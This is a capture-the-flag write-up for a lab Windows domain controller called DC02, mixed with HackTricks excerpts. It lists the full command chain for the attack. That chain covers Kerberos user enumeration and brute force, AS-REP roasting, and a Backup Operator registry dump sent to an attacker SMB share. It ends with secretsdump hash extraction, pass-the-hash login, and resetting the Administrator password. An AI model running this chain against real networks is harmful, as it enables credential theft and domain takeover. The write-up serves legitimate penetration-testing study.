☠️DC-2 ( kh )

DC-2 шүү

DC02 - Machine

  • Machine name: DC02

  • Machine type: Windows VM

  • Machine difficulty: 🟨 Medium

Tools Used

  • CrackMapExec

  • Evil-WinRM

  • impacket-GetNPUsers

  • impacket-lookupsid

  • impacket-reg

  • impacket-secretsdump

  • impacket-smbserver

  • Kerbrute

  • LDAPDomainDump

  • ldapsearch

  • Nmap

  • smbclient

Machine Writeup

ifconfig:

fping -a -g 192.168.56.0/24 2> /dev/null:

nmap -Pn -sS -sV -p- -T4 192.168.56.103:

nmap -Pn -sS --script=smb-protocols -p445 192.168.56.103:

nmap -Pn -sS --script=smb2-security-mode -p445 192.168.56.103:

<🔄 Alternative Step>

crackmapexec smb 192.168.56.103:

</🔄 Alternative Step>

echo -e '192.168.56.103\tDC01.SOUPEDECODE.LOCAL' | tee -a /etc/hosts:

HackTricks

139,445 - Pentesting SMB

[#Possible Credentials]

Username(s)

Common passwords

(blank)

(blank)

guest

(blank)

Administrator, admin

(blank), password, administrator, admin

arcserve

arcserve, backup

tivoli, tmersrvd

tivoli, tmersrvd, admin

backupexec, backup

backupexec, backup, arcada

test, lab, demo

password, test, lab, demo

[#Obtain Information]

[#List shared folders]

It is always recommended to look if you can access to anything, if you don't have credentials try using null credentials/guest user.

Attacker

<❌ Failed Step>

smbclient --no-pass -L 192.168.56.103:

</❌ Failed Step>

nmap -Pn -sS --script=ldap-rootdse -p389 192.168.56.103:

HackTricks

Active Directory Methodology

[#User enumeration]

  • Anonymous SMB/LDAP enum: Check the pentesting SMB and pentesting LDAP pages.

  • Kerbrute enum: When an invalid username is requested the server will respond using the Kerberos error code KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, allowing us to determine that the username was invalid. Valid usernames will illicit either the TGT in a AS-REP response or the error KRB5KDC_ERR_PREAUTH_REQUIRED, indicating that the user is required to perform pre-authentication.

Attacker

cat /usr/share/wordlists/seclists/SecLists-master/Usernames/xato-net-10-million-usernames.txt| tr '[:upper:]' '[:lower:]' | sort -u > ./xato_usernames_lowercase.txt

kerbrute userenum --dc 192.168.56.103 -d 'SOUPEDECODE.LOCAL' ./xato_usernames_lowercase.txt:

HackTricks

Active Directory Methodology | Password Spraying / Brute Force

[#Exploitation from Linux (or all)]

  • Using crackmapexec:

Attacker

kerbrute bruteuser --dc 192.168.56.103 -d 'SOUPEDECODE.LOCAL' /usr/share/wordlists/rockyou.txt 'charlie':

crackmapexec smb 192.168.56.103 -d 'SOUPEDECODE.LOCAL' -u 'charlie' -p 'charlie' --shares:

HackTricks[139,445 - Pentesting SMB](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb)

[#Enumerate Users, Groups & Logged On Users]

This info should already being gathered from enum4linux and enum4linux-ng

[#Execute Commands]

crackmapexec can execute commands abusing any of mmcexec, smbexec, atexec, wmiexec being wmiexec the default method. You can indicate which option you prefer to use with the parameter --exec-method:

Attacker

crackmapexec smb 192.168.56.103 -d 'SOUPEDECODE.LOCAL' -u 'charlie' -p 'charlie' --rid-brute | tee ./out.txt:

Exploit Notes

SMB (Server Message Block) Pentesting

[#RID Cycling Attack]

RID enumeration. It attempts to enumerate user accounts through null sessions.

Attacker

<🔄 Alternative Step>

impacket-lookupsid 'SOUPEDECODE.LOCAL/charlie:charlie@192.168.56.103':

</🔄 Alternative Step>

impacket-lookupsid 'SOUPEDECODE.LOCAL/charlie:charlie@192.168.56.103' > ./out.txt

cat ./out.txt | grep -e "SidTypeUser" > ./out2.txt

cat ./out2.txt | awk '{print $2}' > ./out3.txt

cat ./out3.txt | cut -d '\' -f2 | cut -d ' ' -f1 | tee ./domain_users.txt:

HackTricks

Active Directory Methodology | ASREPRoast

[#Request AS_REP message]

Using Linux:

Using Windows:

Attacker

impacket-GetNPUsers -usersfile ./domain_users.txt -dc-ip 192.168.56.103 'SOUPEDECODE.LOCAL/charlie:charlie':

vim ./asrep_hash.txt:

john --wordlist=/usr/share/wordlists/rockyou.txt ./asrep_hash.txt:

crackmapexec smb 192.168.56.103 -d 'SOUPEDECODE.LOCAL' -u 'zximena448' -p 'internet' --shares:

smbclient -U 'zximena448' --password='internet' //192.168.56.103/C$:

cat ./user.txt:

HackTricks

389, 636, 3268, 3269 - Pentesting LDAP

[#Valid Credentials]

If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:

ldapdomaindump

Attacker

mkdir ./ldapdomaindump

ldapdomaindump 192.168.56.103 -u 'SOUPEDECODE.LOCAL\zximena448' -p 'internet' -o ./ldapdomaindump:

ls -alps ./ldapdomaindump:

firefox ./ldapdomaindump/domain_users_by_group.html

Domain Users:

CN
Name
SAM Name
Created on
Changed on
Last Logon
Flags
pwdLastSet
SID
Description

Paula Felix

Paula Felix

pfelix502

06/15/24 20:05:01

07/06/24 00:19:43

01/01/01 00:00:00

NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

06/15/24 20:05:01

1599

Avid traveler and photography enthusiast

Wyatt Liam

Wyatt Liam

wliam501

06/15/24 20:05:01

07/06/24 00:19:43

01/01/01 00:00:00

NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

06/15/24 20:05:01

1598

Passionate cook and food blogger

Faith Tina

Faith Tina

ftina500

06/15/24 20:05:01

07/06/24 00:19:43

01/01/01 00:00:00

NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

06/15/24 20:05:01

1597

Cycling enthusiast and marathon runner

George Quinn

George Quinn

gquinn499

06/15/24 20:05:01

07/06/24 00:19:43

01/01/01 00:00:00

NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

06/15/24 20:05:01

1596

Music lover and aspiring guitarist

Quinn Kevin

Quinn Kevin

qkevin498

06/15/24 20:05:01

07/06/24 00:19:43

01/01/01 00:00:00

NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

06/15/24 20:05:01

1595

Knitting and crochet hobbyist

Tracy Delia

Tracy Delia

tdelia497

06/15/24 20:05:01

07/06/24 00:19:43

01/01/01 00:00:00

NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

06/15/24 20:05:01

1594

Art enthusiast and amateur painter

Rita Quinn

Rita Quinn

rquinn495

06/15/24 20:05:01

07/06/24 00:19:43

01/01/01 00:00:00

NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

06/15/24 20:05:01

1593

Avid traveler and photography enthusiast

Noah Zara

Noah Zara

nzara494

06/15/24 20:05:01

07/06/24 00:19:43

01/01/01 00:00:00

NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

06/15/24 20:05:01

1592

Board game collector and strategist

...

...

...

...

...

...

...

...

...

...

Backup Operators:

CN
Name
SAM Name
Created on
Changed on
Last Logon
Flags
pwdLastSet
SID
Description

Zach Ximena

Zach Ximena

zximena448

06/15/24 20:04:37

09/04/24 16:50:59

09/04/24 17:04:03

NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH

06/17/24 18:09:53

1142

Volunteer teacher and education advocate

...

...

...

...

...

...

...

...

...

...

HackTricks

389, 636, 3268, 3269 - Pentesting LDAP

[#ldapsearch]

Check null credentials or if your credentials are valid:

If you find something saying that the "bind must be completed" means that the credentials are incorrect.

You can extract everything from a domain using:

Extract users:

Extract computers:

Extract my info:

Extract Domain Admins:

Extract Domain Users:

Extract Enterprise Admins:

Extract Administrators:

Extract Remote Desktop Group:

To see if you have access to any password you can use grep after executing one of the queries:

Please, notice that the passwords that you can find here could not be the real ones...

Attacker

<🔄 Alternative Step>

ldapsearch -x -H ldap://192.168.56.103/ -D "zximena448@SOUPEDECODE.LOCAL" -w 'internet' -b "dc=SOUPEDECODE,dc=LOCAL" "(sAMAccountName=zximena448)" memberOf:

</🔄 Alternative Step>

HackTricks[Exfiltration](https://book.hacktricks.xyz/generic-methodologies-and-resources/exfiltration)

[#SMB]

Kali as server:

Or create a smb share using samba:

Windows:

Attacker

mkdir ./smbshare

impacket-smbserver -smb2support 'smbshare' ./smbshare:

GitHub

Backup Operator Registry Backup to Domain Compromise

A simple POC that abuses Backup Operator privileges to remote dump SAM, SYSTEM, and SECURITY hives.

[#Usage]

This proof of concept is a modified version of impacket/examples/reg.py and will work with the most recent impacket release installed. All supported impacket authentication mechanisms will work.

Attacker

impacket-reg 'SOUPEDECODE.LOCAL/zximena448:internet@192.168.56.103' backup -o //192.168.56.101/smbshare:

ls -alps ./smbshare:

HackTricks

Stealing Windows Credentials

[#From Registry]

The easiest way to steal those files is to get a copy from the registry:

Download those files to your Kali machine and extract the hashes using:

[#Extracting hashes from NTDS.dit]

Once you have obtained the files NTDS.dit and SYSTEM you can use tools like secretsdump.py to extract the hashes:

You can also extract them automatically using a valid domain admin user:

For big NTDS.dit files it's recommend to extract it using gosecretsdump.

Finally, you can also use the metasploit module: post/windows/gather/credentials/domain_hashdump or mimikatz lsadump::lsa /inject

Attacker

impacket-secretsdump -system ./smbshare/SYSTEM.save -security ./smbshare/SECURITY.save -sam ./smbshare/SAM.save LOCAL:

crackmapexec smb 192.168.56.103 -u ./domain_users.txt -H 0daed4f186dca68d441b1b5415c674b4:

impacket-secretsdump 'SOUPEDECODE.LOCAL/DC01$@192.168.56.103' -hashes 'aad3b435b51404eeaad3b435b51404ee:0daed4f186dca68d441b1b5415c674b4':

HackTricks

5985,5986 - Pentesting WinRM

[#Using evil-winrm]

Read documentation on its github: https://github.com/Hackplayers/evil-winrm

To use evil-winrm to connect to an IPv6 address create an entry inside /etc/hosts setting a domain name to the IPv6 address and connect to that domain.

Pass the hash with evil-winrm:

Attacker

evil-winrm -i 192.168.56.103 -u 'Administrator' -H '8982babd4da89d33210779a6c5b078bd':

Victim: administrator

whoami:

whoami /groups:

whoami /priv:

hostname:

cd C:\Users\Administrator\Desktop

dir:

type ./root.txt:

net user Administrator H4ck3d!:

PreviousDC-1 ( kh )NextDC-3 ( kh )

Last updated